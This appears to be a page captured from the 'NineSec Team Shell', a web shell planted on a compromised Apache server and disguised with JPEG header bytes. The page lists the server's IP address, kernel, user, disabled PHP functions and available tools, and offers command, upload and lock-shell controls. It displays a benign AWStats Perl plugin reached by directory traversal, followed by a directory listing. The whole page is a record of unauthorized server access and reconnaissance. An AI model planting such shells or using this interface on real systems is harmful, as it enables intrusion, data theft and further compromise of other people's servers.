�����JFIF��������(ICC_PROFILE���������mntrRGB XYZ ������������acsp�������������������������������������-��������������������������������������������������� desc�������trXYZ��d���gXYZ��x���bXYZ������rTRC������(gTRC������(bTRC������(wtpt������cprt������ NineSec Team Shell
NineSec Team Shell
Server IP : 51.38.211.120  /  Your IP : 216.73.216.188
Web Server : Apache
System : Linux bob 5.15.85-1-pve #1 SMP PVE 5.15.85-1 (2023-02-01T00:00Z) x86_64
User : readytorun ( 1067)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /home/../bin/../lib/hdparm/../../usr/share/awstats/plugins/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/../bin/../lib/hdparm/../../usr/share/awstats/plugins/decodeutfkeys.pm
#!/usr/bin/perl
#-----------------------------------------------------------------------------
# decodeUTFKeys AWStats plugin
# Allow AWStats to convert keywords strings coded by some search engines in
# UTF8 coding to a common string in a local charset.
#-----------------------------------------------------------------------------
# Perl Required Modules: Encode and URI::Escape
#-----------------------------------------------------------------------------


# <-----
# ENTER HERE THE USE COMMAND FOR ALL REQUIRED PERL MODULES
if (!eval ('require "Encode.pm"')) { return $@?"Error: $@":"Error: Need Perl module Encode"; }
if (!eval ('require "URI/Escape.pm"')) { return $@?"Error: $@":"Error: Need Perl module URI::Escape"; }
#if (!eval ('require "HTML/Entities.pm"')) { return $@?"Error: $@":"Error: Need Perl module HTML::Entities"; }
# ----->
use strict;no strict "refs";



#-----------------------------------------------------------------------------
# PLUGIN VARIABLES
#-----------------------------------------------------------------------------
# <-----
# ENTER HERE THE MINIMUM AWSTATS VERSION REQUIRED BY YOUR PLUGIN
# AND THE NAME OF ALL FUNCTIONS THE PLUGIN MANAGE.
my $PluginNeedAWStatsVersion="6.0";
my $PluginHooksFunctions="DecodeKey";
# ----->

# <-----
# IF YOUR PLUGIN NEED GLOBAL VARIABLES, THEY MUST BE DECLARED HERE.
use vars qw/
/;
# ----->



#-----------------------------------------------------------------------------
# PLUGIN FUNCTION: Init_pluginname
#-----------------------------------------------------------------------------
sub Init_decodeutfkeys {
	my $InitParams=shift;

	# <-----
	# ENTER HERE CODE TO DO INIT PLUGIN ACTIONS
	# ----->

	my $checkversion=&Check_Plugin_Version($PluginNeedAWStatsVersion);
	return ($checkversion?$checkversion:"$PluginHooksFunctions");
}


#------------------------------------------------------------------------------
# Function:     Converts an UTF8 string to specified Charset
# Parameters:	utfstringtodecode charsettoencode
# Return:		newencodedstring
#------------------------------------------------------------------------------
sub DecodeKey_decodeutfkeys {
	my $string = shift;
	my $encoding = shift;
	if (! $encoding) { error("Function DecodeKey from plugin decodeutfkeys was called but AWStats don't know language code required to output new value."); }
	$string =~ s/\\x(\w\w)/%$1/gi;	# Change "\xc4\xbe\xd7\xd3\xc3\xc0" into "%c4%be%d7%d3%c3%c0"
	$string=URI::Escape::uri_unescape($string);
	if ( $string =~ m/^(?:[\x00-\x7f]|[\xc2-\xdf][\x80-\xbf]|\xe0[\xa0-\xbf][\x80-\xbf]|[\xe1-\xef][\x80-\xbf][\x80-\xbf]|\xf0[\x90-\xbf][\x80-\xbf][\x80-\xbf]|[\xf1-\xf7][\x80-\xbf][\x80-\xbf][\x80-\xbf])*$/ )
	{
		$string=Encode::encode($encoding, Encode::decode("utf-8", $string));
	}
	#$string=HTML::Entities::encode_entities($string);
	$string =~ s/[;+]/ /g;
	return $string;
}


1;	# Do not remove this line

NineSec Team - 2022
Name
Size
Last Modified
Owner
Permissions
Options
..
--
March 29 2022 10:47:54
root
0755
clusterinfo.pm
3.554 KB
August 27 2016 8:59:01
root
0644
decodeutfkeys.pm
2.824 KB
September 23 2014 9:16:09
root
0644
export_to_csv.pm
18.262 KB
September 23 2014 9:16:09
root
0644
geoip.pm
9.632 KB
September 23 2014 9:16:09
root
0644
geoip6.pm
10.055 KB
November 11 2015 3:21:51
root
0644
geoip_asn_maxmind.pm
20.762 KB
September 23 2014 9:16:09
root
0644
geoip_city_maxmind.pm
114.038 KB
December 03 2016 1:58:28
root
0644
geoip_isp_maxmind.pm
19.348 KB
September 23 2014 9:16:09
root
0644
geoip_org_maxmind.pm
19.256 KB
September 23 2014 9:16:09
root
0644
geoip_region_maxmind.pm
25.221 KB
December 03 2016 1:58:28
root
0644
geoipfree.pm
3.583 KB
September 23 2014 9:16:09
root
0644
graphapplet.pm
4.91 KB
September 23 2014 9:16:09
root
0644
graphgooglechartapi.pm
18.909 KB
January 08 2016 8:00:35
root
0644
hashfiles.pm
5.018 KB
August 27 2016 8:59:01
root
0644
hostinfo.pm
6.923 KB
February 27 2023 9:27:24
root
0644
ipv6.pm
2.374 KB
September 23 2014 9:16:09
root
0644
rawlog.pm
4.516 KB
August 27 2016 8:59:01
root
0644
timehires.pm
1.778 KB
September 23 2014 9:16:09
root
0644
timezone.pm
7.083 KB
September 23 2014 9:16:09
root
0644
tooltips.pm
7.936 KB
August 27 2016 8:59:01
root
0644
urlalias.pm
4.621 KB
September 23 2014 9:16:09
root
0644
userinfo.pm
3.455 KB
August 27 2016 8:59:01
root
0644

NineSec Team - 2022